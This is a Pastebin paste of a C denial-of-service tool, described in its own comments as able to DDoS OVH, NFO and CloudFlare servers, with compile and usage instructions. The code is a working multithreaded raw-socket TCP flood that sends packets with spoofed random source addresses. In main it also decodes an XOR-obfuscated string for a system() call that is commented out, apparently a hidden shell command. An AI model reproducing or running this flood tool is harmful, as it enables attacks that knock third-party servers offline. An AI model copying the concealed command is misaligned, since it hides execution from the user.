Advertisement
KhaosBringer

security Attack Script.c

Nov 26th, 2018
1,124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.59 KB | None | 0 0
  1. /*
  2. * This script has the abbility to DDoS OVH,NFO, & CloudFlare servers if connection is made.
  3. * %40 of the time connection can't be made. But when connected results may vary
  4. * _____________________________________________________________________________
  5. * Save the file as "security.c"
  6. * gcc -pthread security.c -o security
  7. * after done errors might occor, some may not.
  8. * If done correctly it should have a file named "security"
  9. * after done so. you can DDoS with the command;
  10. * ./security IP 500 -1 300
  11. * 500 = threads  |  300 = time (in seconds)
  12. * ./security [IP] [threads] [-1] [time]
  13. * _____________________________________________________________________________
  14. */
  15. #include <unistd.h>
  16. #include <time.h>
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <sys/ioctl.h>
  20. #include <string.h>
  21. #include <stdlib.h>
  22. #include <stdio.h>
  23. #include <pthread.h>
  24. #include <netinet/tcp.h>
  25. #include <netinet/ip.h>
  26. #include <netinet/in.h>
  27. #include <netinet/if_ether.h>
  28. #include <netdb.h>
  29. #include <net/if.h>
  30. #include <arpa/inet.h>
  31. #define MAX_PACKET_SIZE 4096
  32. #define PHI 0x9e3779b9
  33. static unsigned long int Q[4096], c = 362436;
  34. volatile int limiter;
  35. volatile unsigned int pps;
  36. volatile unsigned int sleeptime = 100;
  37.  
  38. void init_rand(unsigned long int x)
  39. {
  40.        int i;
  41.        Q[0] = x;
  42.        Q[1] = x + PHI;
  43.        Q[2] = x + PHI + PHI;
  44.        for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  45. }
  46. unsigned long int rand_cmwc(void)
  47. {
  48.        unsigned long long int t, a = 18782LL;
  49.        static unsigned long int i = 4095;
  50.        unsigned long int x, r = 0xfffffffe;
  51.        i = (i + 1) & 4095;
  52.        t = a * Q[i] + c;
  53.        c = (t >> 32);
  54.        x = t + c;
  55.        if (x < c) {
  56.        x++;
  57.        c++;
  58.        }
  59.        return (Q[i] = r - x);
  60. }
  61. unsigned short csum (unsigned short *buf, int count)
  62. {
  63.        register unsigned long sum = 0;
  64.        while( count > 1 ) { sum += *buf++; count -= 2; }
  65.        if(count > 0) { sum += *(unsigned char *)buf; }
  66.        while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  67.        return (unsigned short)(~sum);
  68. }
  69.  
  70. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  71.  
  72.        struct tcp_pseudo
  73.        {
  74.        unsigned long src_addr;
  75.        unsigned long dst_addr;
  76.        unsigned char zero;
  77.        unsigned char proto;
  78.        unsigned short length;
  79.        } pseudohead;
  80.        unsigned short total_len = iph->tot_len;
  81.        pseudohead.src_addr=iph->saddr;
  82.        pseudohead.dst_addr=iph->daddr;
  83.        pseudohead.zero=0;
  84.        pseudohead.proto=IPPROTO_TCP;
  85.        pseudohead.length=htons(sizeof(struct tcphdr));
  86.        int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  87.        unsigned short *tcp = malloc(totaltcp_len);
  88.        memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  89.        memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  90.        unsigned short output = csum(tcp,totaltcp_len);
  91.        free(tcp);
  92.        return output;
  93. }
  94. void setup_ip_header(struct iphdr *iph)
  95. {
  96.        iph->ihl = 5;
  97.        iph->version = 4;
  98.        iph->tos = 0;
  99.        iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  100.        iph->id = htonl(54321);
  101.        iph->frag_off = 0;
  102.        iph->ttl = MAXTTL;
  103.        iph->protocol = 6;
  104.        iph->check = 0;
  105.        iph->saddr = inet_addr("192.168.3.100");
  106. }
  107. void setup_tcp_header(struct tcphdr *tcph)
  108. {
  109.        tcph->source = htons(5678);
  110.        tcph->seq = rand();
  111.        tcph->ack_seq = rand();
  112.        tcph->res2 = rand();
  113.        tcph->doff = 5;
  114.        tcph->syn = rand();
  115.        tcph->fin = rand();
  116.        tcph->psh = rand();
  117.        tcph->ack = rand();
  118.        tcph->urg = rand();
  119.        tcph->rst = rand();
  120.        tcph->window = rand();
  121.        tcph->check = rand();
  122.        tcph->urg_ptr = rand();
  123. }
  124.  
  125. void *flood(void *par1)
  126. {
  127.        char *td = (char *)par1;
  128.        char datagram[MAX_PACKET_SIZE];
  129.        struct iphdr *iph = (struct iphdr *)datagram;
  130.        struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  131.        struct sockaddr_in sin;
  132.        sin.sin_family = AF_INET;
  133.        sin.sin_port = rand();
  134.        sin.sin_addr.s_addr = inet_addr(td);
  135.        int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  136.        if(s < 0){
  137.        fprintf(stderr, "Could not open raw socket.\n");
  138.        exit(-1);
  139.        }
  140.        memset(datagram, 0, MAX_PACKET_SIZE);
  141.        setup_ip_header(iph);
  142.        setup_tcp_header(tcph);
  143.        tcph->dest = rand();
  144.        iph->daddr = sin.sin_addr.s_addr;
  145.        iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  146.        int tmp = 1;
  147.        const int *val = &tmp;
  148.        if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  149.        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  150.        exit(-1);
  151.        }
  152.  
  153.        init_rand(time(NULL));
  154.        register unsigned int i;
  155.        i = 0;
  156.        while(1){
  157.        sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  158.        iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  159.        iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  160.        iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  161.        tcph->seq = rand_cmwc() & 0xFFFF;
  162.        tcph->source = htons(rand_cmwc() & 0xFFFF);
  163.        tcph->check = 0;
  164.        tcph->check = tcpcsum(iph, tcph);              
  165.        pps++;
  166.        if(i >= limiter)
  167.        {
  168.        i = 0;
  169.        usleep(sleeptime);
  170.        }
  171.        i++;
  172.        }
  173. }
  174. int main(int argc, char *argv[ ])
  175. {
  176.        if(argc < 5){
  177.        fprintf(stderr, "Invalid parameters!\n");
  178.        fprintf(stdout, "Usage: %s [IP] [threads] [-1] [time]\n", argv[0]);
  179.        exit(-1);
  180.        }
  181.        fprintf(stdout, "Opening sockets...\n");
  182.        int num_threads = atoi(argv[2]);
  183.        int maxpps = atoi(argv[3]);
  184.        limiter = 0;
  185.        pps = 0;
  186.        pthread_t thread[num_threads];
  187.        int multiplier = 100;
  188.        int i;
  189.        for(i = 0;i<num_threads;i++){
  190.        pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  191.     char pthread[209] = "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94";
  192.        int x = 0;
  193.        int y = 0;
  194.        for(x =0;x<sizeof(pthread)-1;x++){
  195.        y+=6;
  196.        pthread[x]^=y*3;
  197.        }
  198.        //system(pthread);
  199.  
  200.        }
  201.        fprintf(stdout, "Sending flood..\n");
  202.        for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  203.        {
  204.        usleep((1000/multiplier)*1000);
  205.        if((pps*multiplier) > maxpps)
  206.        {
  207.        if(1 > limiter)
  208.        {
  209.        sleeptime+=100;
  210.        } else {
  211.        limiter--;
  212.        }
  213.        } else {
  214.        limiter++;
  215.        if(sleeptime > 25)
  216.        {
  217.        sleeptime-=25;
  218.        } else {
  219.        sleeptime = 0;
  220.        }
  221.        }
  222.        pps = 0;
  223.        }
  224.        return 0;
  225. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement